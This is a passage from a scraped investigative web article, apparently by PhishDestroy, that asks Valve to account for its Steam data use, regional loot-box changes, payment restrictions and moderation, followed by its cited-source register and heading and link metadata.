discriminatory abuse and links submitted through its reporting systems, and release the corresponding decision traces. The same scrutiny it applies to a sanctioned user’s language must reach abusive submissions used against that user. [E73]\n\nPublish comparable sanctions and appeals alongside inventory value, violation category and final remedy. That record would show how consistently Valve applies its rules when the account contains a valuable collection.\n\nTHE ORIGINAL MATERIAL REMAINS IN PLACEClient inspection. Retained data. Failed disclosure.Read the 2014–2026 record and the September access-request closure ↗\n06\n\nA CONCRETE TEST OF VALVE’S POSITION\n\nAccount for the system that already operates.\n\nThe investigation calls for access to existing decision records, minimised and protected where necessary. Expanding data collection is not a prerequisite for examining how Valve exercises its present power.\n\n01\nShow the proposed privacy intrusion.\n\nRelease NYAG’s actual proposals and Valve’s alternatives: data categories, affected users, necessity, retention and safeguards.\n\n02\nMap the data already used.\n\nIdentify location and device fields, cross-account matching, retention, error rates and the decisions they inform.\n\n03\nExplain the age gate at the transaction.\n\nAccount for existing balances, gift funding and Market proceeds; identify how the current player’s age is established.\n\n04\nMake restrictions reviewable.\n\nProvide the reason, evidence reference, scope, reviewer and correction route for payment and commercial-use restrictions.\n\n05\nAudit moderation in both directions.\n\nTrace reports to findings, sanctions and appeals, including abusive submissions and any relationship to inventory value.\n\nTHE FINDING\n\nValve’s existing control is documented. The adequacy and accountability of its use remain the issue. A privacy slogan, a payment-method generalisation and an aggregate ban count do not supply the missing decision record.\n\n07\n\nTHE PUBLIC RECORD\n\nInspect the evidence.\n29 RECORDS\n\nSources cited in this article appear first. Select “All records” to inspect the complete 107-record register shared by the investigation; the dedicated evidence files retain their own detailed registers.\n\nResearch method and source status\n\nReviewed 11 October 2026 UTC. Official policies and product announcements establish documented capabilities and rules. The public complaint states the plaintiff’s allegations. Court dates and findings are tied to the cited acts; user incident reports remain attributed testimony.\n\nThe analysis connects existing account and device data, territorial product changes, payment restrictions and moderation records. It asks Valve to account for the decisions already made with that information, the consequences for users and the remedies provided.\n\nCited source records\nE14 · About the New York Attorney General lawsuit against Valve\n\nPublisher: Valve\n\nDate: 11 Mar 2026\n\nSupports: The public collectibles comparison, optional and cosmetic framing, transferability argument, account-ban total, privacy objections and legislative position.\n\nScope: Corporate public response dated 11 March 2026; linked alongside the filed complaint and the investigation’s analysis.\n\nhttps://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5\nE71 · Steam Privacy Policy — existing collection\n\nPublisher: Valve\n\nDate: Current policy · §§3.1–3.8\n\nSupports: SteamID, residence country, IP logs, unique device identifiers and application/device data are publicly disclosed categories.\n\nScope: Valve’s policy lists data categories and their declared purposes; field-level implementation is part of the requested disclosure.\n\nhttps://store.steampowered.com/privacy_agreement/\nE72 · Account Security Recommendations — authorised devices\n\nPublisher: Valve / Steam Support\n\nDate: Current guidance\n\nSupports: Steam Guard checks unrecognised devices and provides an authorised-device review.\n\nScope: Steam’s description of recognised-device authorisation and account protection.\n\nhttps://help.steampowered.com/en/faqs/view/6639-EB3C-EC79-FF60\nE73 · ISteamUtils — country and text-filtering functions\n\nPublisher: Valve / Steamworks\n\nDate: Current developer documentation\n\nSupports: GetIPCountry returns a country code from an IP-location database. FilterText and InitFilterText document filtering facilities.\n\nScope: Documented Steamworks interface functions. The operational decision trail is requested from Valve.\n\nhttps://partner.steamgames.com/doc/api/ISteamUtils\nE90 · Steam Local Network Game Transfers\n\nPublisher: Valve / Steam Support\n\nDate: Current technical guidance\n\nSupports: Game installation and update files can be copied between eligible computers over a local network.\n\nScope: Valve’s documentation of transferring installed game files between devices over a local network.\n\nhttps://help.steampowered.com/en/faqs/view/46BD-6BA8-B012-CE43\nE74 · GeoIP Anonymous IP — VPN and hosting classifications\n\nPublisher: MaxMind\n\nDate: Current technical documentation\n\nSupports: Documented classifications include known VPN and hosting-provider addresses, with stated detection limits.\n\nScope: Industry technique only. No claim that Valve is a customer or uses this particular service.\n\nhttps://dev.maxmind.com/geoip/docs/databases/anonymous-ip/binary/\nE91 · Belgian loot-box findings expressly name CS:GO\n\nPublisher: Koen Geens / Belgian Minister of Justice\n\nDate: 25 Apr 2018\n\nSupports: The minister’s release reports the Gaming Commission’s finding that paid loot boxes in CS:GO, FIFA 18 and Overwatch fell under Belgian gambling law and called for removal.\n\nScope: The Belgian minister’s contemporary account of the Gaming Commission’s findings and requested action.\n\nhttps://www.koengeens.be/news/2018/04/25/loot-boxen-in-drie-videogames-in-strijd-met-kansspelwetgeving\nE75 · Release Notes for 7/11/2018 — Netherlands and Belgium\n\nPublisher: Valve / Counter-Strike\n\nDate: 11 Jul 2018\n\nSupports: Trading and Market restored for Dutch customers; container opening restricted in the Netherlands and Belgium.\n\nScope: July 2018 release notes. The subsequent Netherlands change is recorded separately in E77.\n\nhttps://blog.counter-strike.net/2018/07/20618/\nE76 · France — introducing the X-Ray Scanner\n\nPublisher: Valve / Counter-Strike\n\nDate: 30 Sep 2019\n\nSupports: Country-specific reveal and claim sequence, including consuming a scanned container.\n\nScope: September 2019 release notes describing the French X-Ray mechanism and contemporaneous Market rules.\n\nhttps://blog.counter-strike.net/2019/09/25667/\nE77 · X-Ray Scanner for Germany and the Netherlands\n\nPublisher: Valve / Counter-Strike 2\n\nDate: 16 Mar 2026\n\nSupports: Scanner access for Germany and the Netherlands; keyless containers exempted.\n\nScope: Also verified in the official Steam announcement feed. Belgium is not named in this update.\n\nhttps://steamcommunity.com/ogg/730/announcements/detail/518615049848226730\nE78 · Counter-Strike 2 — X-Ray Scanner\n\nPublisher: Valve / Steam Support\n\nDate: Current FAQ\n\nSupports: The revealed item must be purchased and received before another scan; scanning consumes the container.\n\nScope: Steam’s description of the reveal, purchase and next-scan sequence.\n\nhttps://help.steampowered.com/en/faqs/view/7336-6EBC-1923-EE1B\nE88 · Onderzoek naar loot boxes — Een buit of een last?\n\nPublisher: Kansspelautoriteit\n\nDate: 19 Apr 2018\n\nSupports: Regulatory analysis of ten implementations; four considered noncompliant. Transferability was connected to economic value.\n\nScope: The Dutch regulator’s 2018 study of ten anonymised implementations and the economic significance of transferable prizes.\n\nhttps://kansspelautoriteit.nl/sites/default/files/onderzoek_naar_loot_boxes_-_een_buit_of_een_last_-_nl.pdf\nE89 · EA / FIFA-FUT — ECLI:NL:RVS:2022:690\n\nPublisher: Raad van State\n\nDate: 9 Mar 2022\n\nSupports: The Council of State overturned the penalty against EA on the implementation-specific record before it.\n\nScope: The Council of State’s 9 March 2022 ruling on EA’s FIFA/FUT implementation.\n\nhttps://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/\nE38 · People of New York v. Valve Corporation — filed complaint\n\nPublisher: New York Attorney General / NYSCEF\n\nDate: 25 Feb 2026\n\nSupports: Court, filing date, index 450952/2026, allegations, statutory bases and requested remedies.\n\nScope: NYSCEF document 2; 52-page court-stamped complaint. Requested relief appears on PDF pages 50–51.\n\nhttps://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf\nE21 · Disclosure audit — 830-page appendix\n\nPublisher: PhishDestroy\n\nDate: Published audit · reviewed 20 Sep 2026\n\nSupports: Page-level redaction geometry, character counts and source-file SHA-256 for the appendix to the October 2025 access response.\n\nScope: The public audit contains aggregate findings and the source hash; the original personal-data appendix is withheld.\n\nhttps://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json\nE13 · The Steam Dossier — rules, routes and accountability\n\nPublisher: PhishDestroy\n\nDate: Related investigation\n\nSupports: The parent investigation supplies the historical registration and consent exhibits, transfer-substitution sequence, route register, ownership and recovery records, and correspondence used by this companion investigation.\n\nScope: The parent PhishDestroy investigation; linked as the wider editorial and infrastructure context.\n\nhttps://phishdestroy.io/steam_dossier/\nE79 · Steam Wallet — retail gift-card phase-out\n\nPublisher: Valve / Steam Support\n\nDate: FAQ v18 · metadata 10 Jun 2026\n\nSupports: Retail stocks are not replenished; expected exhaustion by the end of 2026. Existing cards remain redeemable, subject to local law. Valve cites persistent scams.\n\nScope: Retrieved 11 October 2026; includes the page’s embedded update timestamp.\n\nhttps://help.steampowered.com/en/faqs/view/78E3-7431-1E88-AD59#retailers\nE80 · Digital Gift Cards — funding another account\n\nPublisher: Valve / Steam Store\n\nDate: Current gift-card FAQ\n\nSupports: A payer can buy Wallet credit for a recipient. Existing Wallet funds cannot buy digital gift cards.\n\nScope: A digital Wallet gift differs from a game gift. Country and recipient eligibility rules apply.\n\nhttps://store.steampowered.com/digitalgiftcards/selectgiftcard\nE81 · TF2 — Mann Co. Supply Crate Key\n\nPublisher: Valve / Steam Community Market\n\nDate: Current official item listing\n\nSupports: The listing’s asset data marks the key as tradable and marketable; the item has a Steam Market order interface.\n\nScope: Steam’s item listing, showing the trading and Market attributes of the TF2 key.\n\nhttps://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key\nE15 · Steam Community Market FAQ — Wallet proceeds and market limits\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Market sale proceeds in Steam Wallet and the approximate US$1,800 listing limit.\n\nScope: Steam’s own market and Wallet mechanics, used in the ownership and outside-price comparison.\n\nhttps://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B\nE66 · Limited User Accounts\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Qualifying $5 spending and specified restricted community features.\n\nScope: Steam’s published requirements for access to trading and the Community Market.\n\nhttps://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A\nE92 · Russia-facing Steam top-ups — published service and territorial statements\n\nPublisher: MTS Payment\n\nDate: Retrieved 11 Oct 2026\n\nSupports: The official service offers ruble-funded Steam top-ups for Russian accounts. Its FAQ explicitly discusses delays or failures for Crimea, LNR and DNR accounts.\n\nScope: Provider’s public offer and descriptions; no transaction was made. Settlement intermediaries, any Valve agreement and sanctions compliance require separate records.\n\nhttps://payment.mts.ru/cyber/steam\nE93 · Public offer — bank-card money-transfer service\n\nPublisher: MTS Payment / Murmansk Settlement Bank\n\nDate: 2026 document · retrieved 11 Oct\n\nSupports: The linked card-transfer offer identifies the settlement centre as Murmansk Settlement Bank LLC and the transfer currency as Russian rubles.\n\nScope: Terms governing the named card-transfer service and its participants.\n\nhttps://staticpayment.ssl.mts.ru/upload/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D0%BE%D1%84%D0%B5%D1%80%D1%82%D0%B0_2026.pdf\nE82 · Payment Disputes and Chargebacks\n\nPublisher: Valve / Steam Support\n\nDate: Current policy · metadata 15 May 2024\n\nSupports: Associated account/purchase restrictions, bank-reversal route, restoration when funds return, and Support escalation when reversal is impossible.\n\nScope: Steam’s published payment-dispute policy and described restrictions.\n\nhttps://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2\nE83 · STEAM payment system broken? — AmEx incident reports\n\nPublisher: Steam Community users\n\nDate: 29–31 Aug 2026\n\nSupports: First-person reports of removed purchases and payment restrictions; one user reports a Support exception and warning on 31 August.\n\nScope: Unverified participant testimony. No published confirmation of root cause from Valve, AmEx or the processor was found in this review.\n\nhttps://steamcommunity.com/discussions/forum/0/590688141302606461/\nE87 · Restricted Steam Account — reasons and restriction types\n\nPublisher: Valve / Steam Support\n\nDate: Current policy · metadata 22 May 2025\n\nSupports: Payment-fraud and commercial-use grounds; distinctions among locks, Community Bans, trade bans, VAC bans and suspensions.\n\nScope: The actual account notice and decision record are needed to establish the scope and basis of an individual restriction.\n\nhttps://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23\nE84 · Smirnov v. Valve — case 2-5519/2022\n\nPublisher: Nevsky District Court, Saint Petersburg\n\nDate: 1 Sep 2022 · final form 2 Sep 2022\n\nSupports: Official case identity and first-instance refusal. UID 78RS0015-01-2021-007838-13.\n\nScope: Court hosting can be intermittently unavailable. The later cassation act independently records the 1 September decision date.\n\nhttps://nvs--spb.sudrf.ru/modules.php?delo_id=1540005&name=sud_delo&name_op=doc&new=&number=812812802&srv_num=1&text_number=1\nE86 · Smirnov v. Valve — cassation 88-10528/2024\n\nPublisher: Third Cassation Court of General Jurisdiction\n\nDate: 22 May 2024\n\nSupports: Procedural history, monetary demands, Community restrictions and the court’s treatment of the linguistic report.\n\nScope: Copy of the court act hosted by T—J. It records an opportunity to seek a court examination or contrary evidence, declined by the claimant.\n\nhttps://opis-cdn.tinkoffjournal.ru/mercury/delo-88-10528-2024.pdf\nE85 · Specialists’ report on Smirnov’s Steam Support correspondence\n\nPublisher: GLADIS / Guild of Linguistic Experts\n\nDate: 28 Jun 2023 · 66 pages\n\nSupports: Author-hosted report identifies an 8 June 2023 contract with the Baker & McKenzie CIS branch and the correspondence examined.\n\nScope: A 66-page, party-commissioned specialist report; the commissioning relationship and date appear in the report.\n\nhttps://rusexpert.ru/public/expertizy-pdf/ZaklGLADSmirnvsValve2023.pdf",
        "headings": [
          {
            "level": 1,
            "text": "Existing data. Selective privacy.",
            "anchor": "pd-privacy-and-enforcement--hero-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#hero-title"
          },
          {
            "level": 2,
            "text": "A VPN does not erase the account’s history.",
            "anchor": "pd-privacy-and-enforcement--existing-data-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#existing-data-title"
          },
          {
            "level": 3,
            "text": "A VPN changes the route, not the record.",
            "anchor": "pd-privacy-and-enforcement--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#network-layers"
          },
          {
            "level": 3,
            "text": "Registration was refused behind a VPN.",
            "anchor": "pd-privacy-and-enforcement--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#vpn-observations"
          },
          {
            "level": 3,
            "text": "What share of New York users arrive through NordVPN?",
            "anchor": "pd-privacy-and-enforcement--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#vpn-observations"
          },
          {
            "level": 2,
            "text": "The regional switch already exists.",
            "anchor": "pd-privacy-and-enforcement--regional-control-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#regional-control-title"
          },
          {
            "level": 3,
            "text": "Belgium named CS:GO explicitly.",
            "anchor": "pd-privacy-and-enforcement--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#belgium-record"
          },
          {
            "level": 3,
            "text": "Netherlands & Belgium: container opening restricted.",
            "anchor": "pd-privacy-and-enforcement--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#regional-control"
          },
          {
            "level": 3,
            "text": "France: X-Ray Scanner introduced.",
            "anchor": "pd-privacy-and-enforcement--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#regional-control"
          },
          {
            "level": 3,
            "text": "Netherlands & Germany: the scanner becomes the route.",
            "anchor": "pd-privacy-and-enforcement--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#regional-control"
          },
          {
            "level": 3,
            "text": "Valve can change the product by territory.",
            "anchor": "pd-privacy-and-enforcement--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#regional-control"
          },
          {
            "level": 3,
            "text": "What does the next unknown result cost?",
            "anchor": "pd-privacy-and-enforcement--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#regional-control"
          },
          {
            "level": 3,
            "text": "Publish the demand being denounced.",
            "anchor": "pd-privacy-and-enforcement--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#nyag-record"
          },
          {
            "level": 3,
            "text": "“Beyond what we normally collect.”",
            "anchor": "pd-privacy-and-enforcement--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#privacy-objection-record"
          },
          {
            "level": 3,
            "text": "830 pages about one account.",
            "anchor": "pd-privacy-and-enforcement--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#privacy-objection-record"
          },
          {
            "level": 2,
            "text": "Who funded it? Who opens it?",
            "anchor": "pd-privacy-and-enforcement--wallet-age-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#wallet-age-title"
          },
          {
            "level": 3,
            "text": "Physical cards put money into Wallet.",
            "anchor": "pd-privacy-and-enforcement--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#wallet-age"
          },
          {
            "level": 3,
            "text": "The person paying can fund someone else.",
            "anchor": "pd-privacy-and-enforcement--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#wallet-age"
          },
          {
            "level": 3,
            "text": "A tradable key can become spending balance.",
            "anchor": "pd-privacy-and-enforcement--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#wallet-age"
          },
          {
            "level": 2,
            "text": "If the payment failed, show the evidence.",
            "anchor": "pd-privacy-and-enforcement--payment-enforcement-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#payment-enforcement-title"
          },
          {
            "level": 3,
            "text": "Users reported restrictions after payments they said they had not disputed.",
            "anchor": "pd-privacy-and-enforcement--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#payment-enforcement"
          },
          {
            "level": 3,
            "text": "The transactions behind the restrictions.",
            "anchor": "pd-privacy-and-enforcement--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#amex-timeline"
          },
          {
            "level": 3,
            "text": "Removed game, locked account, no route out.",
            "anchor": "pd-privacy-and-enforcement--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#amex-timeline"
          },
          {
            "level": 3,
            "text": "The exception, the warning, the re-lock.",
            "anchor": "pd-privacy-and-enforcement--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#amex-timeline"
          },
          {
            "level": 3,
            "text": "Records removed. Games still not restored.",
            "anchor": "pd-privacy-and-enforcement--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#amex-timeline"
          },
          {
            "level": 3,
            "text": "Identify the payment event.",
            "anchor": "pd-privacy-and-enforcement--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#payment-enforcement"
          },
          {
            "level": 3,
            "text": "Provide a route out of a mistaken restriction.",
            "anchor": "pd-privacy-and-enforcement--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#payment-enforcement"
          },
          {
            "level": 2,
            "text": "Valve can document abuse. Apply that standard consistently.",
            "anchor": "pd-privacy-and-enforcement--moderation-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation-title"
          },
          {
            "level": 3,
            "text": "A documented litigation trail.",
            "anchor": "pd-privacy-and-enforcement--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation"
          },
          {
            "level": 4,
            "text": "The claim was dismissed.",
            "anchor": "pd-privacy-and-enforcement--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation"
          },
          {
            "level": 4,
            "text": "Valve’s side commissioned a linguistic examination.",
            "anchor": "pd-privacy-and-enforcement--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation"
          },
          {
            "level": 4,
            "text": "The cassation court upheld the refusal.",
            "anchor": "pd-privacy-and-enforcement--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation"
          },
          {
            "level": 3,
            "text": "Audit the evidentiary package itself.",
            "anchor": "pd-privacy-and-enforcement--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#evidence-package-demand"
          },
          {
            "level": 3,
            "text": "Language was examined as evidence.",
            "anchor": "pd-privacy-and-enforcement--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation"
          },
          {
            "level": 3,
            "text": "Abusive reports require the same scrutiny.",
            "anchor": "pd-privacy-and-enforcement--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#moderation"
          },
          {
            "level": 2,
            "text": "Account for the system that already operates.",
            "anchor": "pd-privacy-and-enforcement--disclosure-demands-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#disclosure-demands-title"
          },
          {
            "level": 3,
            "text": "Show the proposed privacy intrusion.",
            "anchor": "pd-privacy-and-enforcement--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#disclosure-demands"
          },
          {
            "level": 3,
            "text": "Map the data already used.",
            "anchor": "pd-privacy-and-enforcement--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#disclosure-demands"
          },
          {
            "level": 3,
            "text": "Explain the age gate at the transaction.",
            "anchor": "pd-privacy-and-enforcement--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#disclosure-demands"
          },
          {
            "level": 3,
            "text": "Make restrictions reviewable.",
            "anchor": "pd-privacy-and-enforcement--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#disclosure-demands"
          },
          {
            "level": 3,
            "text": "Audit moderation in both directions.",
            "anchor": "pd-privacy-and-enforcement--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#disclosure-demands"
          },
          {
            "level": 2,
            "text": "Inspect the evidence.",
            "anchor": "pd-privacy-and-enforcement--sources-title",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#sources-title"
          },
          {
            "level": 2,
            "text": "Cited source records",
            "anchor": "pd-privacy-and-enforcement--cited-sources",
            "source_url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/privacy-and-enforcement.html"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E71]",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "[E71]",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "[E72]",
            "url": "https://help.steampowered.com/en/faqs/view/6639-EB3C-EC79-FF60"
          },
          {
            "label": "[E73]",
            "url": "https://partner.steamgames.com/doc/api/ISteamUtils"
          },
          {
            "label": "[E71]",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "[E72]",
            "url": "https://help.steampowered.com/en/faqs/view/6639-EB3C-EC79-FF60"
          },
          {
            "label": "[E90]",
            "url": "https://help.steampowered.com/en/faqs/view/46BD-6BA8-B012-CE43"
          },
          {
            "label": "[E74]",
            "url": "https://dev.maxmind.com/geoip/docs/databases/anonymous-ip/binary/"
          },
          {
            "label": "[E71]",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "[E74]",
            "url": "https://dev.maxmind.com/geoip/docs/databases/anonymous-ip/binary/"
          },
          {
            "label": "[E90]",
            "url": "https://help.steampowered.com/en/faqs/view/46BD-6BA8-B012-CE43"
          },
          {
            "label": "THE EARLIER DISCLOSURE RECORDOne device. Multiple accounts. Years of retained history.The dossier’s counsel-correspondence account and its source trail ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#technical-capability"
          },
          {
            "label": "[E91]",
            "url": "https://www.koengeens.be/news/2018/04/25/loot-boxen-in-drie-videogames-in-strijd-met-kansspelwetgeving"
          },
          {
            "label": "[E75]",
            "url": "https://blog.counter-strike.net/2018/07/20618/"
          },
          {
            "label": "[E75]",
            "url": "https://blog.counter-strike.net/2018/07/20618/"
          },
          {
            "label": "[E76]",
            "url": "https://blog.counter-strike.net/2019/09/25667/"
          },
          {
            "label": "[E77]",
            "url": "https://steamcommunity.com/ogg/730/announcements/detail/518615049848226730"
          },
          {
            "label": "[E78]",
            "url": "https://help.steampowered.com/en/faqs/view/7336-6EBC-1923-EE1B"
          },
          {
            "label": "[E88]",
            "url": "https://kansspelautoriteit.nl/sites/default/files/onderzoek_naar_loot_boxes_-_een_buit_of_een_last_-_nl.pdf"
          },
          {
            "label": "[E89]",
            "url": "https://www.raadvanstate.nl/uitspraken/@130150/202005769-1-a3/"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E21]",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "Inspect the 830-page production and its audit trail ↗",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#technical-capability"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E79]",
            "url": "https://help.steampowered.com/en/faqs/view/78E3-7431-1E88-AD59#retailers"
          },
          {
            "label": "[E79]",
            "url": "https://help.steampowered.com/en/faqs/view/78E3-7431-1E88-AD59#retailers"
          },
          {
            "label": "[E80]",
            "url": "https://store.steampowered.com/digitalgiftcards/selectgiftcard"
          },
          {
            "label": "[E81]",
            "url": "https://steamcommunity.com/market/listings/440/Mann%20Co.%20Supply%20Crate%20Key"
          },
          {
            "label": "[E15]",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "[E66]",
            "url": "https://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A"
          },
          {
            "label": "A CONCRETE REGIONAL FUNDING RECORDThe Russian top-up question now has a named provider.Official MTS service, territorial statements and linked card-transfer terms ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#regional-funding"
          },
          {
            "label": "[E92]",
            "url": "https://payment.mts.ru/cyber/steam"
          },
          {
            "label": "[E93]",
            "url": "https://staticpayment.ssl.mts.ru/upload/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D0%BE%D1%84%D0%B5%D1%80%D1%82%D0%B0_2026.pdf"
          },
          {
            "label": "[E92]",
            "url": "https://payment.mts.ru/cyber/steam"
          },
          {
            "label": "[E93]",
            "url": "https://staticpayment.ssl.mts.ru/upload/%D0%9F%D1%83%D0%B1%D0%BB%D0%B8%D1%87%D0%BD%D0%B0%D1%8F_%D0%BE%D1%84%D0%B5%D1%80%D1%82%D0%B0_2026.pdf"
          },
          {
            "label": "Continue through the original Steam Dossier ↗",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "FOLLOW THE VALUE AFTER AN ACCOUNT COMPROMISEA protected trade is not protection for every route.Market sales, inflated-price purchases, Wallet proceeds and game gifts ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-losses"
          },
          {
            "label": "[E82]",
            "url": "https://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E87]",
            "url": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23"
          },
          {
            "label": "[E83]",
            "url": "https://steamcommunity.com/discussions/forum/0/590688141302606461/"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E84]",
            "url": "https://nvs--spb.sudrf.ru/modules.php?delo_id=1540005&name=sud_delo&name_op=doc&new=&number=812812802&srv_num=1&text_number=1"
          },
          {
            "label": "[E86]",
            "url": "https://opis-cdn.tinkoffjournal.ru/mercury/delo-88-10528-2024.pdf"
          },
          {
            "label": "[E85]",
            "url": "https://rusexpert.ru/public/expertizy-pdf/ZaklGLADSmirnvsValve2023.pdf"
          },
          {
            "label": "[E86]",
            "url": "https://opis-cdn.tinkoffjournal.ru/mercury/delo-88-10528-2024.pdf"
          },
          {
            "label": "[E85]",
            "url": "https://rusexpert.ru/public/expertizy-pdf/ZaklGLADSmirnvsValve2023.pdf"
          },
          {
            "label": "[E86]",
            "url": "https://opis-cdn.tinkoffjournal.ru/mercury/delo-88-10528-2024.pdf"
          },
          {
            "label": "[E13]",
            "url": "https://phishdestroy.io/steam_dossier/"
          },
          {
            "label": "[E21]",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "[E73]",
            "url": "https://partner.steamgames.com/doc/api/ISteamUtils"
          },
          {
            "label": "THE ORIGINAL MATERIAL REMAINS IN PLACEClient inspection. Retained data. Failed disclosure.Read the 2014–2026 record and the September access-request closure ↗",
